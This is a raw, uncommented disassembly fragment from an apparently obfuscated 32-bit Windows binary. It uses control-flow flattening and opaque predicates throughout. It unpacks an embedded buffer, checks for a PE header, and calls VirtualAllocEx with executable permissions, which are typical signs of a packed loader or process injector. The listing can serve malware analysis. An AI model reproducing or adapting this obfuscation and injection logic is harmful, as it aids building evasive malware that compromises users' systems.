mov eax, dword [ebp - 0x4b368]
mov eax, dword [eax]
mov dword [ebp - 0x4b36c], eax
mov eax, 0x4605d2ba
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2e8]
cmp dword [eax + 0x70], 0
mov eax, dword [ebp - 0x4b24c]
setne byte [eax]
mov eax, dword [ebp - 0x4b260]
mov eax, dword [ebp - 0x4b24c]
mov eax, 0xb1c2c427
jmp 0x4026e0
mov eax, 0x3da783e0
mov dword [ebp - 0x4b21c], 2
jmp 0x4026e0
mov eax, 0xcaaf7332
jmp 0x4026e0
mov eax, 0xde653505
jmp 0x4026e0
mov eax, dword [ebp - 0x4b294]
mov eax, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b3ac], eax
mov eax, 0x2440e687
jmp 0x4026e0
mov eax, 0xfb2548ac
jmp 0x4026e0
mov eax, dword [ebp - 0x4b228]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b388]
mov edx, dword [ebp - 0x4b384]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x4b244]
mov eax, dword [ebp - 0x4b274]
mov eax, 0xcce8f7b3
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xb1c2c427
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2be040dd
jmp 0x406373
mov eax, 0x21a80246
jmp 0x4026e0
mov ecx, dword [ebp - 0x4b334]
mov eax, 0x148d16b1
mov dword [ebp - 0x4b270], ecx
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov esi, 0x419babb6
mov ebx, 0xaa9d3542
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xaa9d3542
jmp 0x405f39
mov eax, dword [ebp - 0x4b240]
mov eax, 0x9660abbe
jmp 0x4026e0
mov eax, dword [ebp - 0x4b228]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b37c]
cmp dword [ecx + eax*4], 0
mov eax, 0xb7381ecb
mov ecx, 0xac27f92d
cmove eax, ecx
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x56b44f79
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x24088054
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b224]
mov edx, dword [ebp - 0x4b218]
cmovge eax, ebx
mov ecx, dword [ecx]
mov dword [ebp - 0x4b2e0], edx
mov dword [ebp - 0x4b2dc], ecx
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x64986bae
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x92b77051
jmp 0x406373
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x6dbcb2cd
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc9d34ba3
jmp 0x4026c5
mov dword [ebp - 0x4b2a0], 1
mov eax, 0x997f300f
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xc0c1f406
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd9a3704e
jmp 0x406373
mov eax, dword [ebp - 0x4b39c]
mov edx, 0x90c1a267
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0xc7db8e5b
cmove eax, edx
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x10a8174e
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x420e012b
jmp 0x4026c5
mov eax, 0xa6181f4f
jmp 0x4026e0
mov eax, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b308], eax
mov eax, 0xca836ce9
jmp 0x4026e0
mov eax, 0x363af815
jmp 0x4026e0
mov eax, dword [ebp - 0x4b354]
add eax, 2
mov dword [ebp - 0x4b26c], eax
mov eax, 0x6537b342
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x4aa59f67
lea eax, [edx + 1]
jmp 0x405501
mov eax, dword [ebp - 0x4b2e0]
mov eax, dword [ebp - 0x4b2dc]
mov eax, 0xfd513c09
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov esi, 0xcaaf7332
mov ebx, 0xe99d4adb
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe99d4adb
jmp 0x405f39
mov eax, dword [ebp - 0x4b2f0]
mov ecx, dword [ebp - 0x4b2ec]
mov dword [eax + 4], ecx
push dword [ebp - 0x4b248]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x4b230]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x6dbcb2cd
jmp 0x4026e0
mov eax, dword [ebp - 0x4b22c]
mov esi, 0x6d5a8f88
mov dword [eax], 4
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2404ac56
jmp 0x406373
mov eax, dword [0x4b4418]
mov ebx, 0x396d7c56
mov esi, 0x24088054
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x24088054
jmp 0x406297
mov eax, 0x5c114a91
jmp 0x4026e0
mov eax, 0xb4acef5c
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2c8]
mov ecx, dword [ebp - 0x4b238]
mov ecx, dword [ebp - 0x4b238]
mov ecx, dword [ebp - 0x4b238]
mov ecx, dword [ebp - 0x4b238]
mov ecx, dword [ebp - 0x4b238]
mov ecx, dword [ebp - 0x4b238]
mov ecx, dword [ebp - 0x4b238]
mov edx, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b264], 0
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x4b2bc]
add eax, edx
mov dword [ebp - 0x4b2b8], ecx
mov dword [ebp - 0x4b268], eax
mov eax, 0xce553c51
jmp 0x4026e0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4b230]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b260]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x5286c56f
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x71c014d8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x42cdfac
cmovne ebx, esi
test edx, eax
mov edx, dword [ebp - 0x4b214]
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b218]
cmovge eax, ebx
mov dword [ebp - 0x4b35c], edx
add ecx, 0x18
mov dword [ebp - 0x4b360], ecx
jmp 0x4026e0
mov eax, 0x54f2e70
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2cc]
mov eax, 0xfc5f5a8f
jmp 0x4026e0
mov eax, 0x936ea91f
jmp 0x4026e0
mov eax, dword [ebp - 0x4b228]
mov ecx, dword [ebp - 0x4b38c]
mov dword [eax], ecx
mov eax, 0x99e120de
jmp 0x4026e0
mov eax, 0xac5a10ad
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2e0]
mov ebx, 0xe109cfd6
mov esi, 0x73184c5
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x4b2dc]
cmp ecx, eax
mov eax, dword [0x4b4418]
setl byte [ebp - 0x4b252]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x73184c5
jmp 0x406297
mov ecx, dword [ebp - 0x4b304]
mov eax, 0x2e7e11ae
mov dword [ebp - 0x4b2b4], ecx
jmp 0x4026e0
mov eax, dword [ebp - 0x4b330]
push dword [eax + 0x10]
push dword [ebp - 0x4b32c]
push dword [ebp - 0x4b328]
vzeroupper
call fcn.004404f0
add esp, 0xc
mov eax, 0x10e7be92
jmp 0x4026e0
mov eax, dword [ebp - 0x4b298]
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov eax, dword [ebp - 0x4b234]
mov eax, 0xeb546dee
jmp 0x4026e0
mov eax, 0x51f3e76
jmp 0x4026e0
mov eax, dword [ebp - 0x4b310]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4b318], 0
mov dword [ebp - 0x4b314], eax
mov eax, 0x59cb05f8
jmp 0x4026e0
mov eax, dword [ebp - 0x4b224]
mov eax, 0x8d3f95db
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x7674213d
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xee1b0dc6
jmp 0x4026c5
mov eax, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b238], eax
mov eax, dword [ebp - 0x4b218]
mov dword [ebp - 0x4b2c8], eax
mov eax, 0x20aeed8c
jmp 0x4026e0
mov eax, 0xb237aa74
jmp 0x4026e0
push 4
push 0x3000
push dword [ebp - 0x4b2c0]
push dword [ebp - 0x4b2f4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x4b214], eax
mov eax, dword [0x4b4418]
cmp dword [ebp - 0x4b2a4], 0
mov esi, 0x9d672957
mov ebx, 0xda177cb3
lea ecx, [eax + 1]
sete byte [ebp - 0x4b24d]
imul ecx, eax
mov eax, 0xda177cb3
jmp 0x405f31
mov eax, 0xb9ea311
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0x4102391f
mov esi, 0xf2ab7e03
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf2ab7e03
jmp 0x406297
mov eax, dword [0x4b4418]
mov ebx, 0x78a94882
mov esi, 0x921a1191
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x921a1191
jmp 0x40629f
mov eax, dword [ebp - 0x4b300]
mov eax, dword [eax]
mov dword [ebp - 0x4b304], eax
mov eax, 0x8c2f1f3f
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2e4]
mov eax, 0xd19b5d3c
jmp 0x4026e0
mov eax, 0x3597e4f7
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xa969302e
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xaf89daa0
jmp 0x4026c5
cmp byte [ebp - 0x4b251], 0
mov eax, 0xa3e4f846
mov ecx, 0xb22ef95d
cmovne eax, ecx
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x2f4d6fa8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb09f34a3
cmovne ebx, esi
test edx, eax
mov edx, dword [ebp - 0x4b26c]
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
mov dword [ebp - 0x4b354], edx
jmp 0x4026e0
push 0x40
push 0x3000
push dword [ebp - 0x4b314]
push 0
push dword [ebp - 0x4b318]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0x9c9368a1
jmp 0x4026e0
mov eax, dword [ebp - 0x4b228]
mov dword [ebp - 0x4b21c], 0xd
mov eax, 0x13ab162c
jmp 0x4026e0
mov eax, 0x59c3200c
jmp 0x4026e0
mov eax, 0x91f242d8
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2ac]
mov esi, 0x73171326
mov ebx, 0x9b933cf6
inc eax
mov dword [ebp - 0x4b334], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9b933cf6
jmp 0x405f39
mov eax, 0x46e240b0
jmp 0x4026e0
cmp byte [ebp - 0x4b257], 0
mov eax, 0x5e86f248
mov ecx, 0x7f52f63b
cmovne eax, ecx
jmp 0x4026e0
mov eax, 0xc9874518
jmp 0x4026e0
mov eax, dword [ebp - 0x4b29c]
mov eax, dword [ebp - 0x4b29c]
mov eax, dword [ebp - 0x4b29c]
inc eax
mov dword [ebp - 0x4b280], eax
mov eax, 0x8bc6cefa
jmp 0x4026e0
cmp dword [ebp - 0x4b3a0], 0
mov eax, 0x50b16f1
mov ecx, 0xca932ef5
cmove eax, ecx
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2e8]
mov ebx, 0xee78fcad
mov esi, 0x2be040dd
cmp dword [eax + 0x70], 0
mov eax, dword [ebp - 0x4b24c]
setne byte [eax]
mov eax, dword [ebp - 0x4b260]
mov eax, dword [ebp - 0x4b24c]
cmp byte [eax], 0
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
setne byte [ebp - 0x4b257]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2be040dd
jmp 0x40629f
mov eax, 0xa12b90b6
jmp 0x4026e0
mov eax, dword [ebp - 0x4b360]
mov eax, dword [eax + 0x68]
mov dword [ebp - 0x4b364], eax
mov eax, 0x2079f833
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xaa6b462a
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb089f62b
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b228]
mov dword [ebp - 0x4b21c], 0xd
cmovge eax, edx
jmp 0x4026e0
mov eax, dword [ebp - 0x4b280]
mov dword [ebp - 0x4b2cc], eax
mov eax, 0x8121d510
jmp 0x4026e0
mov eax, dword [ebp - 0x4b274]
mov ebx, 0x88d61dc5
mov esi, 0xa204d8d2
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x4b380], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa204d8d2
jmp 0x40629f
mov eax, 0x414f059f
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x7a752778
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb336547
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b220]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x4b39c], ecx
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x911c8bb2
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xaeb52562
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b240]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x4b37c], ecx
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xfd799115
lea eax, [edx - 1]
jmp 0x406358
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x97e4d6d6
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x31c362aa
jmp 0x406373
mov eax, 0xeed17939
jmp 0x4026e0
mov eax, dword [ebp - 0x4b268]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x4b264]
mov dword [ebp - 0x4b2d4], eax
mov eax, 0xdb3fa939
jmp 0x4026e0
mov eax, dword [ebp - 0x4b33c]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x4b340], eax
mov eax, 0x19b02201
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2c4]
mov esi, 0x64b70301
mov ebx, 0x7497cdd5
add eax, 0x18
mov dword [ebp - 0x4b31c], eax
mov eax, dword [ebp - 0x4b218]
add eax, 0x14
mov dword [ebp - 0x4b320], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul eax, ecx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0x7497cdd5
jmp 0x405f39
mov eax, dword [ebp - 0x4b23c]
inc eax
mov dword [ebp - 0x4b2d8], eax
mov eax, 0xa1df7c35
jmp 0x4026e0
mov eax, 0xe58a3b07
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0xfbb97140
mov esi, 0x79c6c384
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x79c6c384
jmp 0x406297
mov eax, dword [0x4b4418]
mov esi, 0xce7ecd42
mov ebx, 0x1632b5e1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x1632b5e1
jmp 0x405f31
mov eax, 0x3d141920
jmp 0x4026e0
mov eax, dword [ebp - 0x4b22c]
mov esi, 0x346ae534
mov dword [eax], 0x40
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x31d23f6a
jmp 0x406373
mov eax, 0xfbb97140
jmp 0x4026e0
mov eax, 0x9ffc2616
jmp 0x4026e0
mov eax, dword [ebp - 0x4b22c]
mov dword [eax], 2
mov eax, 0x533465b6
jmp 0x4026e0
mov eax, dword [ebp - 0x4b218]
add eax, 0x18
mov dword [ebp - 0x4b30c], eax
mov eax, 0xa1828aeb
jmp 0x4026e0
mov eax, dword [ebp - 0x4b22c]
mov esi, 0x877f6b2b
mov dword [eax], 2
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xa4b79b7
jmp 0x4026c5
mov dword [ebp - 0x4b21c], 7
mov eax, 0x66129449
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x59c3200c
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb09f34a3
jmp 0x4026c5
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x66129449
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xac167d78
jmp 0x4026c5
mov eax, dword [ebp - 0x4b2d4]
mov dword [ebp - 0x4b264], eax
mov eax, 0x5619e01b
jmp 0x4026e0
mov eax, 0x5e86f248
jmp 0x4026e0
mov eax, dword [ebp - 0x4b244]
mov eax, 0xb977728f
jmp 0x4026e0
cmp byte [ebp - 0x4b254], 0
mov eax, 0x6a5bc27b
mov ecx, 0xaf510675
cmovne eax, ecx
jmp 0x4026e0
mov eax, 0xd8d49b4b
jmp 0x4026e0
mov eax, 0xce61f9f1
jmp 0x4026e0
mov eax, 0xdfda8096
jmp 0x4026e0
mov eax, 0x75c912e4
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0x8b031689
mov esi, 0xd20898ac
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xd20898ac
jmp 0x406297
mov eax, dword [ebp - 0x4b224]
mov esi, 0x76a27138
mov ebx, 0xa643a63e
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x4b3a8], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa643a63e
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4b4414], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x4026e0
mov eax, dword [ebp - 0x4b264]
mov dword [ebp - 0x4b344], eax
mov eax, 0xb2faed1d
jmp 0x4026e0
mov eax, dword [ebp - 0x4b224]
mov dword [ebp - 0x4b21c], 0x10
mov eax, 0xee29a38a
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x7a7dbe20
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xca4cddf3
jmp 0x4026c5
mov eax, 0x6f58061c
mov dword [ebp - 0x4b21c], 1
jmp 0x4026e0
mov eax, dword [ebp - 0x4b224]
mov eax, 0x396d7c56
jmp 0x4026e0
mov eax, 0x235a8e15
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x997f300f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x17c1357a
jmp 0x4026c5
mov eax, 0x8666a802
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0xeed17939
mov esi, 0x222b84ca
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x222b84ca
jmp 0x40629f
mov eax, dword [ebp - 0x4b220]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, 0x4972c131
mov dword [ebp - 0x4b2e4], ecx
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2a8]
mov eax, dword [0x4b4418]
mov ebx, 0xbf2031da
mov esi, 0x2b608bf4
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x2b608bf4
jmp 0x406297
mov eax, dword [ebp - 0x4b22c]
mov dword [eax], 0x20
mov eax, 0x68a38072
jmp 0x4026e0
mov eax, dword [ebp - 0x4b35c]
add eax, dword [ebp - 0x4b364]
mov dword [ebp - 0x4b23c], 0
mov dword [ebp - 0x4b284], eax
mov eax, 0xb56dd1ff
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x5619e01b
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5cb51ff8
jmp 0x406373
mov eax, dword [ebp - 0x4b320]
movzx eax, word [eax]
add eax, dword [ebp - 0x4b31c]
mov dword [ebp - 0x4b270], 0
mov dword [ebp - 0x4b288], eax
mov eax, 0x148d16b1
jmp 0x4026e0
mov eax, 0xb6174115
jmp 0x4026e0
mov eax, 0x3b6dd69f
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0x9ffc2616
mov esi, 0x92b77051
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x92b77051
jmp 0x406297
mov eax, dword [ebp - 0x4b220]
mov eax, dword [eax]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0xb32d46db
setne byte [ebp - 0x4b254]
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xd9642f0f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x31d23f6a
jmp 0x4026c5
mov eax, dword [ebp - 0x4b2b4]
mov ebx, 0xdcbcd556
mov esi, 0xda177cb3
mov dword [ebp - 0x4b2f4], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xda177cb3
jmp 0x406297
mov eax, dword [ebp - 0x4b224]
mov dword [eax], 0
mov eax, 0x2b4cac8
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x75c912e4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xd20898ac
jmp 0x4026c5
push 0x4b200
push 0x45c28e
push edi
vzeroupper
call fcn.004404f0
add esp, 0xc
push 0x4b200
push edi
call fcn.00401b40
add esp, 8
mov eax, dword [ebp - 0x4b1d4]
cmp dword [eax + edi], 0x4550
lea ecx, [eax + edi]
mov eax, 0x6e83e474
mov dword [ebp - 0x4b218], ecx
mov ecx, 0x22eab200
cmove eax, ecx
jmp 0x4026e0
mov eax, 0x6df8faf3
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0x8c30b5c8
mov esi, 0x1470ca75
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x1470ca75
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4b4414], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, ebx
jmp 0x4026e0
mov eax, 0xa99ec634
jmp 0x4026e0
cmp byte [ebp - 0x4b24d], 0
mov eax, 0x9c9368a1
mov ecx, 0x7882f24a
cmovne eax, ecx
jmp 0x4026e0
mov eax, 0x8c30b5c8
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x39947b63
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x10ebac12
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
cmp dword [ebp - 0x4b2e4], 0
setne byte [ebp - 0x4b253]
jmp 0x4026e0
mov eax, 0xf8f83ccb
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x414f059f
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8bedb78d
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x4026e0
cmp eax, 0x67322432
jne 0x4026e0
mov esi, dword [ebp - 0x4b3b0]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043d670
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret